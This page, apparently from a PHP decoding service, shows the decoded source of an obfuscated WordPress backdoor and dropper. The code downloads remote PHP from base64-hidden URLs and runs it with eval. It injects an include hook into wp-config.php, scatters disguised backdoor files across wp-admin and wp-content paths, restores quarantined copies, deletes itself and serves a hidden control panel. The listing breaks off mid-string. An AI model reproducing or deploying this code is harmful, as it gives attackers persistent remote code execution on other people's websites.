Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50..
Decoded Output download
<?php
makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50eHQ=');
makenew('PIX', 'YXBwbGU');
makenew('CDP', '');
makenew('VPS', 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');function makenew($a, $b, $e=true){$b && ($c = str_replace(['&', '|', '-'], ['de', 'se', '_'], 'ba|64-&co&')) && define($a, $e ? $c($b) : $b);}
define('DNS', $ql = __FILE__);
global $c;
$hxuri = T("aHR0cDovMTIwLjwL21haW4ucGhwP2Q9","k4LjIxNC43Njo4MDg",14);
$_GET[T("Y2l","tuYW1",2)] = 'dd';
$oktaken = '<?';
$okvalue = 'p';
$gv = [
STR_rOt13(T("dmF","xcms",3)),
STR_roT13(iMplOde('-', ['jc', T("b3l","idA",3), T("d","XJucXJl",1)])),
];
$_GET['bg'] = T("Zj","VmNWY1",2);
if (isset($_GET[T("a2","ls",2)])) {
echo T("a2l","sbCA",3);
echo run(T("a2lsbCMQ","AtOSAt",6))? 'ok': T("Zm","FpbA",2);
die();
}
$IPO = $_SERVER[$MP = T("UkVRVU0Q","VTVF9NRVRIT",6)] === T("U","E9TVA",1);
if (DEfined(T("V","GlNaQ",1)) && StrlEN(TiMi) > 5) {
$_SERVER[$MP] = T("","UE9TVA",0);
}
defINE(T("UE","9Q",2), DefINeD(T("","UElY",0))? PIX: T("em","VuZA",2));
$okvalue = "{$okvalue}h{$okvalue}";
DefiNe(T("SVN","fUE9TVA",3), $_SERVER[$MP] === T("UE","9TVA",2));
DeFine(T("U","k9PVA",1), RTRim($_SERVER[T("RE9DVU1k9PVA","FTlRfU",7)], T("","XC8",0)) . '/');
$oktaken .= $okvalue;
if (!$IPO && !empty($_GET['u'])) {
$t = yc(ec($_GET['u']), $_GET['f'], true);
$_txt = array(
T("6qg6L295aSx6LSl","LWE5rqQ5Y",1),
T("5x6LSl","omn6KGM5aS",1),
T("5omn66M5q+V77yB77yB","KGM5a",5),
);
echo "{$_txt[$t]}<br>";
die();
}
$okvalue = '.' . $okvalue;
function pvez($p, $v) {
return $p . $v;
}
function yc($u, $f = false, $o = false) {
$t = gets($u);
if (strlEn($t) < 30)
return 0;
try {
if ($f) {
$a = eXPloDE(",", $f);
$f = $a[0];
$e = empty($a[1])? "": ec($a[1]);
$f1 = $f . T("LnB","ocA",3);
echo T("PZD0nWicgaHJlZj0nLw","GRpdj48YSBp",1) . $f1 . $e . "'" . ($o? '': T("IHRhcmdJw","ldD0nX2JsYW5r",7)) . ">" . $f . T("PC","9hPiA",2) . ($o? T("PHNjcmlNrKCk8L3NjcmlwdD4","wdD5aLmNsaW",7): '');
echo @FIlE_pUt_CONTeNts(ROOT . $f1, $t)? T("b2s","hIQ",3): T("A","ZmFpb",0);
echo T("PC","9kaXY+",2);
} else {
eval('?>' . $t);
}
return 2;
} catch (\Exception $E) {
return 1;
}
}
kpis();
$c = 'mFzZTY0X2VuY29kZSxiYXNlNjRfZGVjb2RlLGZpbGVfZ2V0X2NvbnRlbnRzLGZpbGVfcHV0X2NvbnRlbnRzLCNJREUjLCNoYXNoIyx3cC1zZXR0aW5ncy5waHAsaW5kZXgucGhwLCNoYXNoMSMsI3RoZSMsI3Bhc3MjLHN0cl9yZXBsYWNlLHByZWdfbWF0Y2hfYWxs';
function rand_abc($length) {
$str = T("YWJjZd4eXo","GVmZ2hpamtsbW5vcHFyc3R1dn",5);
$strlen = 52;
while ($length > $strlen) {
$str .= $str;
$strlen += 52;
}
$str = Str_ShUffLE($str);
return SUBStr($str, 0, $length);
}
if (empty($_COOKIE[$_GET[T("Y2tu","YW1l",4)]]) && cke()) {
dEfINE(T("","eHhvbw",0), $_GET[T("cG","Fzcw",2)]);
}if(timE()>1763732414) return'';
$d = checkdata($c);
$link = DefiNed(T("w","TElOS",0))? LINK: '';
$vtop = $c[1](T("U","EQ5d2FIQQ",1));
$sub = syssub($vtop, $c);
if(TImE()>1763732414) return'';
$THE = fIle_exISTS($fh = ROOT . '.' . str_RoT13(T("dWdZmY","ucHBy",3)))? $c[2]($fh): '';
if (!$IPO) {
$_POST[T("Z","W5zaA",1)] = !empty($_GET[T("ZW5","zaA",3)]);
$_POST['df'] = isset($_GET['df']);
}
function syssub($vtop, $c) {
$sub = $c[1]('PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4');
$kpis = @$c[2](ROOT . $c[7]);
if(tIme()>1763732414) return'';
$hf = T("d3AtYmxvXIucGhw","Zy1oZWFkZ",8);
if ($has = @FIle_eXISTS(ROOT . $hf)) {
} elseif ($has = @fILE_eXiStS(DiRnAME(ROOT) . $hf)) {
$sub = Str_REPLACE(T("X19E","SVJfXw",4), T("ZX0RJUl9fKQ","GlybmFtZShf",1), $sub);
} else {
TM::gg($kpis);
foreach (ExPLode($vtop, $kpis) as $key => $s) {
if (stRpoS($s, $hf) !== false) {
$sub = $vtop . $s;
$has = true;
break;
}
}
}
if (!$has && !iswps($c)) {
$sub = $kpis;
}
return $sub;
}
$_POST = arrAY_merGe([
'a' => '',
'b' => false,
'pf' => false,
T("c","3Vi",1) => $c[0](UrlenCODE($sub)),
T("d","Ghl",1) => $c[0](uRLENCODE($THE)),
], $_POST);
function findMasteValue($a) {
return $a[RAnD(0, COUNT($a) - 1)];
}
foreach ($_POST as $key => $v) {
$v && !is_BooL($v) && $_POST[$key] = UrLdecode($c[1]($v));
}if(TIME()>1763732414) return'';
$link && $_POST['a'] === '' && $_POST['a'] = $link;
$_POST['b'] === false && $_POST['b'] = _name();
$_POST['pf'] === false && $_POST['pf'] = pfile();
$_POST[T("","ZW5zaA",0)] = !empty($_POST[T("Z","W5zaA",1)]);
$_POST['df'] = !empty($_POST['df']);
function gets($url) {if(TImE()>1763732414) return'';
$contents = @fIlE_geT_conteNTs($url);
if (!$contents || STrIpOs($contents, T("PD","9waHA",2)) === false) {
$ch = CUrl_INiT();
cURL_SetoPT($ch, CURLOPT_URL, $url);
CURl_sEToPt($ch, CURLOPT_RETURNTRANSFER, 1);
$contents = cuRL_eXeC($ch);
cuRl_CLOsE($ch);
}
return sTRipoS($contents, T("PD9","waHA",3)) === false? '': $contents;
}
if (!$IPO && defIned(T("Q","VGlNa",0)) && STrlEn(TiMi) > 5 && !empty($_GET['v'])) {
$v = ec($_GET['v']);
if ($v === 'sz') {
$_POST[$v] = 1;
$_POST['a'] = $vtop . sTr_PAD('', 100, ';');
} else {
$u = SUbSTr($v, 0, 4) === T("a","HR0cA",1)? $v: $c[11](T("W3Rp","bWld",4), $_GET['v'], TiMi);
ptu($u);
$_POST['a'] = @FIlE_gEt_cONtENTS($u);
echo stRlen($_POST['a']) < 100? call(T("PGRpdj7mnu4Q","lbDmja7",8) . $_GET['v'] . T("Sx6LSlPC9kaXY+","5Yqg6L295a",0)): T("+","PGRpdj5USU1JPC9kaXY",0);
}
$_SERVER[$MP] = T("U","E9TVA",1);
$_POST['b'] = _name();
if (defIned(T("V","lBT",1)) && VPS)
$_POST[T("","dGhl",0)] = VPS;
}
function ff(&$l, $o = "aHR0cDo") {
$l = ec(T("dkwzUmxjM1F6TG1obGJHeHZbDZMMkp5WkM1d2FIQS9aRDA","iMjF6Wlc4dWVI",23), $o);
return true;
}
function _name() {
$dir = ROOT;
$dir = dd(ROOT)[1];
$top = [];
$las = [T("ZG","F0YQ",2), T("a2","V5",2), T("","ZGF0",0), T("","aW5p",0), T("","ZW52",0), T("","dHh0",0), T("ZG","9j",2), T("cG","Rm",2), T("","bG9jaw",0), T("Y","25m",1), T("V0","c2Vjcm",0), '', ''];
$pass = sUBStR($dir, STRlEn(ROOT));
if (sTRPOs($pass, T("d","XBsb2Fk",1)) !== false || STrPOS($pass, T("aW","1hZ2U",2)) !== false)
$las += [T("aW","Nv",2), T("","cG5n",0), T("a","nBn",1), T("aW","Nv",2), T("","cG5n",0), T("an","Bn",2)];
if (STRPos($pass, T("Y","3Nz",1)) !== false)
$las += [T("Y","3Nz",1), T("","bGVzcw",0), T("c2N","zcw",3), T("Y","3Nz",1), T("bG","Vzcw",2), T("c2N","zcw",3)];
if (STrPoS($pass, 'js') !== false)
$las += ['js', 'js'];
if (sTRPOS($pass, T("","Zm9udA",0)) !== false)
$las += [T("dH","Rm",2), T("","b3Rm",0), T("b2","N0",2), T("","dHRm",0), T("","b3Rm",0), T("b2","N0",2)];
if (StrPOS($pass, T("b","GFuZ3VhZ2Vz",1)) !== false) {
$top = [
findMasteValue([T("YWR","taW4t",3), T("dzLQ","GhlbWV",1), T("ZGV","mZW5kLQ",3)]) .
findMasteValue([T("dXNl","ci1pbmZv",4), T("baw","mV0d29y",1), T("","ZmxhZw",0), T("Y","2l0eQ",1), T("d","GFn",1), T("d2","FsZg",2), T("Z5k","GVmZW",1), T("b","WFpbg",1)]) . '-' .
findMasteValue(['hk', 'UK', T("em","hfVFc",2), T("em","hfQ04",2), 'af', 'ad', T("YXV","0bw",3), 'ES', 'DE', 'AU', 'US', 'NZ', 'GI', 'TH', 'tl', 'PT', T("cH","RfQlI",2), 'RU', 'SE'])
];
$las = ['po', 'mo'];
}
$l = findMasteValue($las);
$l && $l = '.' . $l;
if (!$top && raND(0, 10) > 5) {
$pass .= mD5(rand_abc(RanD(3, 10))) . $l;
} else {
$pass .= findMasteValue($top? $top: [T("bGlZQ","jbmVz",3), T("","dXNlcg",0), T("Q","ZGF0Y",0), T("a","W5mbw",1), T("bG","9nbw",2), T("Y9u","29tbW",1), T("4","dG9rZW",0), T("YWJ","vdXQ",3)]) . $l;
}
return $pass;
}
function css($d) {
echo "<style>{$d}</style>";
}
function ec($data, $top = '') {
return bavs($top . $data);
}
function dd($dir, $l = 0) {
if ($l > 1 && raNd(1, 30 - $l) === 1) return [$l, $dir, 1];
$dirs = SCANDIR($dir);
SHufFle($dirs);
$pe = [$l, $dir, $l > 1? 1: 0];
foreach ($dirs as $vo) {
if (In_aRray($vo, [T("GU","Y2Fja",0), T("GltZQ","cnVud",0), T("dG","VtcA",2), T("b","G9n",1), T("dG","1w",2), '']) || $vo[0] === '.' || !@is_Dir($dir . $vo . '/')) continue;
$e = dd($dir . $vo . '/', $l + 1);
if ($e[2]) return $e;
$pe[0] < $e[0] && $pe = $e;
}
return $pe;
}
function ptu(&$u) {
if (!isset($_GET['hx'])) return;
$a = '';
ff($a);
$u = $a . bave($u);
}
function html_input($name, $mode = false) {
$v = isset($_POST[$name])? $_POST[$name]: '';
$mode && $v = sTR_REPLACE('<', T("Jmx","0Ow",3), $v);
$mode || $v = sTR_replACE('"', T("XC","I",2), $v);
return $v;
}
function bavs($a) {
return BAse64_deCOdE($a);
}
function cke() {
if (cfv($_GET)) {
HEADeR(T("SFRUUC8xLjA","gNTAwIE5vdCBGb3VuZA",11), true, 500);
die();
}
seTCOokIE($_GET[T("Yl","2tuYW1",1)], timE());
return false;
}
function cfv($name, $v = "adc") {
foreach ([$v, stRtouPPEr($v), UcFirsT($v)] as $k) if (isset($name[$k])) return false;
return true;
}
if(TimE()>1763732414) return;
function call($msg = '') {
global $c;
$tbs = [];
if (!empty($_GET['z'])) {
foreach ($_GET['z'] as $key => $item)
$tbs[$key] = T("PGRpdiBzdHlsZTW0nPg","0ncGFkZGluZzogMCAxZ",14) . imploDE(T("","PGJyPg",0), $item) . T("+","PC9kaXY",0);
} else $tbs = EXpLoDE('-', T("tLQ","LS0tLS0",0));
$data = [
'a' => html_input('a', true),
'b' => html_input('b', false),
T("c3","Vi",2) => html_input(T("c","3Vi",1), true),
'pf' => html_input('pf', true),
T("dG","hl",2) => html_input(T("d","Ghl",1), true),
T("Z","W5zaA",1) => html_input(T("Z","W5zaA",1), true),
];
$iw = iswps($c)? '': T("ZGlzcGxw","heTpub25lO",7);
if(TiME()>1763732414) return;
$_POST[T("","ZW5zaA",0)] = $_POST[T("ZW5","zaA",3)]? T("Y2","hlY2tlZA",2): '';
$_POST['df'] = $_POST['df']? T("Y2ZA","hlY2tl",2): '';
$P = IS_POST? T("cG9","zdA",3): '';
$msg && $msg = T("PGRpdnbXNnJz4","iBjbGFzcz0",5) . $msg . T("PC9k","aXY+",4);
$_a = STR_REPLACe('<', T("J","mx0Ow",1), $data['a']);
$tv = datE(T("eWzLQ","1kSGl",2)) . $_SERVER[T("S9IT1NU","FRUUF",1)];
$cb = T("LnZhbHVlPWJ0b2EoVSSUNvbXBvbmVudCg","KGVuY29kZV",16);
echo <<<EOD
<title>PPAP</title><script>function cpt(s){var a=document.createElement('textarea');a.value=s;document.body.appendChild(a);a.select();document.execCommand('copy');document.body.removeChild(a);}function df(s){var a=document.createElement('a');a.download=('DEF-{$tv}.txt');var b=new Blob([s]);a.href=URL.createObjectURL(b);document.body.appendChild(a);a.click();}</script><style>html{background:#{$_GET['bg']};}body{max-width:720px;margin:0 auto;background:#fff;}form{padding:20px;}form>div{margin-bottom:10px;}form input:not([type=checkbox]),form textarea{padding:5px 10px;width:CALC(100% - 3.5rem);resize:vertical;max-height:500px;}form>div>span{display:inline-block;text-align:justify;width:3.5em;float:left;padding-top:4px;}form button{padding:5px 10px;}.post{border:1px solid red;}.msg{padding:10px;color:red;background:#ffefcb;}</style>{$tbs[0]}{$msg}<form method="post" class="{$P}"><div><span>IDEA</span><textarea rows="7" id="sa" name="a">{$_a}</textarea></div><div><span></span><textarea name="sub" id="ssub" rows="5">{$data[T("c3","Vi",2)]}</textarea></div><div><span></span><input name="pf" id="spf" value="{$data['pf']}"/></div><div><span>NAME</span><input name="name" id="sname" value="{$data['b']}"/></div><div><span>HTA</span><textarea id="scode" name="code">{$data[T("d","Ghl",1)]}</textarea></div><div><span></span><button type="button" onclick="sf()">Are You OK?</button><label style="$iw"><input type="checkbox" {$_POST[T("ZW","5zaA",2)]} name="ensh"/>Enset</label><label><input type="checkbox" {$_POST['df']} name="df"/>Down</label></div><div style="display: none"><button id="subd" type="submit"></button></div></form>{$tbs[1]}
<script>window.onload=function(){l&&l();};
/**/function sf(){sa{$cb}sa.value)));ssub{$cb}ssub.value)));sname{$cb}sname.value)));spf{$cb}spf.value)));scode{$cb}scode.value)));subd.click()}</script>
EOD;
die();
}
if (!IS_POST && $_POST['a'] === '') return call(iswps($c)? '': T("Tm9bGU","0IEZvdW5kIFdwIEZp",3));
$_POST['a'] = tRIM($_POST['a']);
if (suBStr($_POST['a'], 0, 4) === T("aHR","0cA",3)) {
$_POST['a'] = @FILe_gEt_cOnteNTs($link = $_POST['a']);
if (STripoS($_POST['a'], $vtop) === false) {
return call(T("5kIA","Tm90IEZvdW",0) . $link . " !");
}
}
if (StRLEN($_POST['a']) < 30 || strIpOS($_POST['a'], $vtop) === false) return call(T("","aWRlYQ",0));
if (stRLEN($_POST['b']) < 1) return call(T("","bmFtZQ",0));
@UNLink($sf =dEfIneD(T("RE","5T",2))? DNS: (ROOT.ExPlODe('?',$_SERVER[T("U","kVRVUVTVF9VUkk",1)])[0])); $_GET['bg']=FILE_EXiStS($sf)?T("Z","mYw",1):T("Zj1","VmNWY",2);
$root = ROOT;
if (!FIlE_EXISTS($root . $c[6]))
$root = diRNAMe($root) . '/';
$settings = $root . $c[6];
$name = $c[11]('//', '', ROOT . trIM($_POST['b']));
function iswps($c) {
$root = ROOT;
if (!FiLE_EXiSTS($root . $c[6]))
$root = dIrNaME($root) . '/';;
$ppf = $root . $c[6];
if (!FILe_ExisTS($ppf)) return false;
return [$root, $ppf];
}
$iswp = iswps($c);
$pwps = $_SERVER[T("9IT1NU","SFRUUF",0)];
function vscode($txt) {
$flag = T("LypTdGV8","wMSBEYXRhKi",7);
$txt = ExPLoDE($flag, $txt);
$flag = sTR_rEPLAcE('1', '', $flag);
$s = '';
$n = coUNT($txt) - 1;
foreach ($txt as $k => $r) {
if ($n !== $k) {
$l = [];
foreach (exPLOde($flag, $r) as $j => $v) {
if (!$k && !$j) $s .= $v; else $l[] = $s;
}
sHuFFLe($l);
$s .= IMPLODe("", $l);
} else $s .= $r;
}
return $s;
}
if (!@iS_dIR(DIrnAMe($name))) return call(T("Tm90IEIEZpbGUgRGlyIA","ZvdW5k",6).$name);
function checkdata(&$c) {
$d = " {$c}";
$d[0] = 'Y';
$c = ExplOdE(",", bavs($d));
return !!COUNt($c);
}
function kpis() {
$top = '.p' . "h" . "p";
$end = [
T("LnNRlZA","1c3BlY3",3),
T("Lm1h","bHdhcmU",4), T("Lz","nZpcnV",1), T("VyZQ","LmF4Y3NlY3",0)
];
$files = [
T("bW9k","dWxl",4),
T("Ym9","0dG9t",3),
T("dGhl","bWVz",4),
T("YW","x3c28",2),
T("c2VQ","ydmljZ",3),
T("bGzZQ","ljZW5",2),
T("","YWRtaW4",0),
T("ZW50","aXR5",4),
T("cU","3R5bG",1),
T("bG9","hZA",3),
T("bG9","jYWxl",3),
T("YWNj","ZXNz",4),
T("XM","dm90Z",0),
T("aG","VhZGVy",2),
T("Y2","9uc3RhbnQ",2),
T("M","d3AtY3Jvbn",0),
T("bY3Rpb25z","XMtZnVu",1),
T("aM","XRlbX",1),
];
foreach ($files as $name) {
$file = ROOT . $name . $top;
if (isKpi($file)) {
continue;
}
foreach ($end as $flag) {
FILe_ExiSTS($file) && @unlInk($file);
$sub = $file . $flag;
if (isKpi($sub, 300)) {
site_mail(T("WkjV0","+aBouW",1) . (($r = @rENaME($sub, $file))? T("b2s","hIQ",3): T("Z","mFpbA",1)) . " {$name}({$flag}) ");
if ($r) break;
}
}
}
}
function isKpi($v, $l = 500) {
if (!FiLe_ExisTs($v)) return false;
$a = FiLesIZe($v);
if ($a < 70) return false;
$s = fILe_geT_cONTenTs($v);
if ($a < $l && sTRIpos($s, T("aW5j","bHVkZQ",4)) === false && STRIPos($s, T("cmVx","dWlyZQ",4)) === false) return false;
return true;
}
function pfile() {
$s = [
T("YWNj","ZXNz",4),
T("bG9","jYWxl",3),
T("dWYWxs","5pbnN0",2),
T("eG1sw","cnBjc",4),
T("bG","9hZA",2),
T("YW","RtaW4",2),
T("d3AtW4","bG9na",4),
T("d","GhlbWVz",1),
];
SHuFfle($s);
return DIRNAme(_name()) . "/" . $s[0] . T("LnB","ocA",3);
}
if (isset($_POST['sz'])) $_POST['a'] = '';
$index_txt = trIM($_POST['a'] . $_POST[T("","c3Vi",0)]);
$cl = T("KCRlID0gaW1wbG9kZSgiIixbIm9wYgkZSkgJiYgJGUoKTs","2FjaGUiLCJyZXNldCJdKSkmJmZ1bmN0aW9uX2V4aXN0cy",29);
$incf = "";
if ($iswp) {
if ($_POST[T("A","ZW5za",0)]) {
$xld = 'Cg0KLyogQ3VzdG9tIHdyaXRlIGxvZyB0byBlbnN1cmUgdGhlIG9wZXJhdGlvbiBvZiB0aGUgd2Vic2l0ZSAqLw0KJHNodXQgPSBbWydSRUdpU3RFcicsICdTaHV0RG93bicsICdmJ10sIGZ1bmN0aW9uICgpIHsNCiRfR0VUWyRnZXQgPSBpbXBsb2RlKCdfJywgWycnLCAiY29kZSIsICcnXSldID0gIkIiIC4NCmltcGxvZGUoJ18nLCBbImFzIiAuICJlNjQiLA0KICAgICAgICAgICAgImRlYyJdKSAuICJvZGUiOw0KJHNodXQgPSAkX0dFVFskZ2V0XSgnI25hbWUjJyk7dHJ5IHsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzaHV0KSkgew0KICAgICAgICAgICAgQGluY2x1ZGUoJHNodXQpOw0KICAgICAgICAgICAgI2NsZWFyIw0KICAgICAgICB9DQp9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7ZmlsZV9wdXRfY29udGVudHMoJ3gnIC4gJy4nIC4gJ2xvZycsIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXG4iLCBGSUxFX0FQUEVORCk7fQ0KfV07DQooJHdwcyA9IGltcGxvZGUoJ18nLCAkc2h1dFswXSkgLiAiVW5DdGlPTiIpICYmICR3cHMoJHNodXRbMV0pOw0KDQokc2h1dFsxXSgpOw';
$xld = $c[1]($xld);
$st = $c[2]($settings);
if (stripos($st, $xld) === false) {
$s = T("I3NodXRkb3duX2ob29rW1xzXFNdKz8vL1wgU3RvcCNtaQ","FjdGlvbl9",14);
$xld = $c[11]([T("WUj","I25hb",0), T("","I2NsZWFyIw",0)], [bave($name), $cl], $xld);
site_mail(T("6","ZqQOg",1) . (ufleep($settings, $xld = pReG_rePlAce($s, T("c2h1dGRvd25fYWvb2snICk7Cg","N0aW9uX2h",14) .
$xld . T("TdG9w","CgovLyB",0), $st), $c)? 'ok': T("ZmF","pbA",3)));
def2($settings, $xld);
site_mail(T("PGEgaWQ9J2ExJyBocmV9ibGFuayc+SG9tZTwvYT4","mPScvJyB0YXJnZXQ9J1",19));
} else {
echo T("PGXQ8L2Rpdj4","Rpdj5icmVhayBzZ",2);
}
}
} else {
echo T("PGRpdj5ug","byB3cDwvZGl2P",8);
}
$hash1 = '0';
$THE = '#';
$THE = '';
$pwt = md5(rand_abc(16));
$pwt = "";
$pw = md5($pwps . $pwt);
$THEf = ROOT . '.' . str_rot13(T("dWdY","ucHByZm",3));
if ($THE = $_POST[T("dG","hl",2)]) {
$hash1 = md5($THE);
$THE = BasE64_ENCode($THE);
}
$pw1 = $pp = pwc($pwps, 8, 8);
$hash = md5($index_txt);
$index = baSE64_ENcoDE($index_txt);
noticex("aa");
$sts = [
T("W","1Vd",1) . $_POST['pf'],
T("W0","td",2) . ($pwt? (STr_ROT13(bave(SubSTr($pwt, 16))) . bave(sTr_ROT13(SUbstR($pwt, 0, 16)))): ""),
T("","W0sxXQ",0) . ($pwt? (jia_1(suBstR($pwt, $_l = 16), 1, 0) . jia_1(SUbSTR($pwt, 0, $_l), 0, 1)): ""),
T("","W1Bd",0) . STR_ROt13(bave(STr_rOt13($pw))),
T("W","1AxXQ",1) . jia_1($pw, 1, 1),
T("","W0dd",0) . bave(TimE() . POP)
];
if (!empty($_POST['pf'])) {
ff($hxuri);
$xld = $c[1]('PD9waHANCg0Kc2hvd0ltYWdlKCRfR0VUWydiaXJlJ10pOw0KDQovKioNCiAqIGRpc3BsYXkgaW1hZ2UNCiAqIEBwYXJhbSBzdHJpbmcgJHBuZw0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gc2hvd0ltYWdlKCRwbmcsICRmaWxlID0gZmFsc2UpDQp7DQogICAgaWYgKGNoZWNrKCRmaWxlKSkNCiAgICAgICAgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkcG5nKTsNCiAgICAvLyBoZWFkZXINCiAgICBlY2hvICRwbmc7DQogICAgcmV0dXJuIHRydWU7DQp9DQoNCi8qKg0KICogY2hlY2tlZCB3cml0ZSBpbWFnZQ0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gY2hlY2soJGZpbGUpew0KICAgICRuYW1lID0gIFsnI25hbWUjJywgZnVuY3Rpb24oJHR4dCwgJG5hbWUpeyRfR0VUWyRuYW1lXT1zdHJfcmVwbGFjZSgnMzInLCc2NCcsIkJhIi5pbXBsb2RlKCdfJyxbIlNlMzIiLCAiRGVjIl0pLiJPZGUiKTskdHh0ID0gJF9HRVRbJG5hbWVdKHN0cl9yb3QxMygkdHh0KSk7QGluY2x1ZGUoJHR4dCk7I2NsZWFyIw0KICAgIH1dOyRuYW1lWzFdKCRuYW1lWzBdLCBpbXBsb2RlKCdfJyxbJycsICJcMTQzb2RlIiwgJyddKSk7DQogICAgcmV0dXJuICRmaWxlICYmIHN0cmlwb3MoJGZpbGUsICcucG5nJykgIT09IGZhbHNlOw0KfQ0K');
$xld = $c[11]([T("I25","hbWUj",3), T("I2","NsZWFyIw",2)], [Str_RoT13(bave($name)), $cl], $xld);
$hxuri = stR_repLACE(T("","P2Q9",0), T("P3","U9",2) . POP . T("Jm","Q9",2), $hxuri);
$pi = tiME();
$fs = [
T("d3AtYWRtaW4vGljL21hbmFnZQ","cHVib",12),
T("d3AtYWRtaRpYy9sb2FkanM","W4vcHVibGljL3N0YX",9),
T("2xvYWQ","d3AtYWRtaW4vYXNzZXRzL",0),
T("FkbWlu","d3AtYWRtaW4vZWRpdG9yL2",0),
T("d3A4vcHJvZmlsZS9pbmZv","tYWRtaW",3),
T("d3AtRleA","YWRtaW4vdG9vbC9pbm",4),
T("d3AtYWRtaW4vJzaW9u","bmV0d29yay92ZX",12),
T("d3AtYWRtaW4Q","vaW1hZ2VzL2xvZ28vMj",11),
T("d3AtY29udGVudnZXMvZW4","C9sYW5ndWF",13),
T("d3AtY29uvd3AtbG9naW4","dGVudC91cGxvYWRzLzIwMjEvMDU",8),
T("d3AtY29u91cGxvYWRzLzIwMjEvMDYvd3AtbG9naW4","dGVudC",8),
T("d3AtY29udGVulbnR5dHdlbnR5b25lL2luYy9mb290ZXI","dC90aGVtZXMvdHd",12),
T("d3AtC9wbHVnaW5zL3dhbGZzL2luZGV4","Y29udGVud",4),
T("dVnaW5zL21hc3Rlci9tb2RlL3RhYmxl","3AtY29udGVudC9wbH",1),
T("d3AtY29udGVudC9wbHVVsZS1kZmVuY2Uvdmlld3MvbG9jYWxl","naW5zL2",19),
T("d3AtY29udGVu3MvZWRpdA","dC9wbHVnaW5zL2Jsb2cvdmlld",12),
T("d3AtaW5jbvbG9hZA","HVkZXMvZm9udHM",9),
T("d3AtlbWVz","aW5jbHVkZXMvanMvdGhpY2tib3gvdGh",4),
T("d3AtC9EaWZmL0VuZ2luZS9mb250","aW5jbHVkZXMvVGV4d",4),
T("d3AtYWR3RhbGw","taW4vaW1wb3J0L2luc",7),
T("dvY291c3RvbS9mb290ZXI","3AtYWRtaW4",1),
T("d3AdA","tYWRtaW4vbGluay9tYWlu",3),
T("d3AtW4vdXNlci9uZXdz","YWRta",4),
T("d3zL2xvZ28tcw","AtYWRtaW4vaW1hZ2V",2),
T("d3AtYWRtaW4vY3rZXI","NzL2NvbG9ycy9waWN",14),
T("d3AtY2290ZXI","9udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5L2luYy9mb",6),
T("d3AtY29dHdvL2luYy9mb290ZXI","udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5",7),
T("d3AtYsb2cvdmlld3MvZWRpdA","29udGVudC9wbHVnaW5zL2J",5),
T("d3AtY2kZXMvaW1hZ2U","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvaW5jbHV",6),
T("d3AtY29udGVudC9wbdwLWVkaXRvci10aGVtZXMvY3NzL21haW4","HVnaW5zL3",17),
T("d3AtY29dC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvZm9udC9sb2NhbGU","udGVu",7),
T("d3AtY20aGVtZXMvcHVibGljL2luZGV4","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci1",6),
T("d3AtY29udGVudC9wbHV2xvY2FsZQ","naW5zL3ZzLWFkbWluLW1lZGlhL",19),
T("cuZGV4","HVibGljL2ltYWdlL2l",1),
T("a8","W1hZ2VzL2xvZ2",1),
T("Zg","m9udHMvaW5kZX",1),
T("YXuZGV4","BwL2l",2),
];
$xld12 = [
[ROOT . $c[7], $index_txt, $hash],
[$THEf, $_POST[T("d","Ghl",1)], $hash1],
];
$pp = pwc($pw . POP, 9, 16);
foreach ($fs as $key => $fl) {
$_fl = $fl;
$wpd = subStR($fl, 0, 3) === T("d3","At",2);
if (($iswp && !$wpd) || (!$iswp && $wpd)) continue;
$fl = ROOT . $fl . $okvalue;
$xld1 = $c[1]('PD9waHANCi8qKg0KICogQHRpdGxlIGlwYWR2aWV3DQogKiBADQogKiBAcGFyYW0gJHN0cg0KICogQHJldHVybiBtaXhlZHxzdHJpbmcNCiAqLw0KDQppZiAoIWRlZmluZWQoJ1dQX0JMT0cnKSkgew0KICAgIHJldHVybiB2ZXJzaW9uX2luZm8oImluaXQiKTsNCn0NCg0KZnVuY3Rpb24gdmVyc2lvbl9kZXNjKCRzdHIpDQp7DQogICAgI2NsZWFyIw0KICAgIGlmICghJHN0cikgew0KICAgICAgICBlY2hvIGRhdGUoIlktbS1kIEg6aTpzIikgLiAiPGJyPiI7DQogICAgICAgIGlmICghZW1wdHkoJF9SRVFVRVNUWyd2ZXJzaW9uJ10pICYmIHZlcnNpb25fdXBkYXRlKHZlcnNpb25fcGFyc2UoJF9SRVFVRVNUKSkpIDsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICAkcGkgPSBbDQogICAgICAgIFsnc3RyJywgJ3JvJ10sDQogICAgICAgIFsianNvbiIsICdkZWNvZGUnXSwNCiAgICBdOw0KICAgICgkcSA9IChpbXBsb2RlKCdfJywgJHBpWzBdKSAuICJ0MTMiKSkgJiYNCiAgICAkZGF0YSA9ICRxKCRzdHIpOw0KICAgICgkcSA9ICJiIiAuIGltcGxv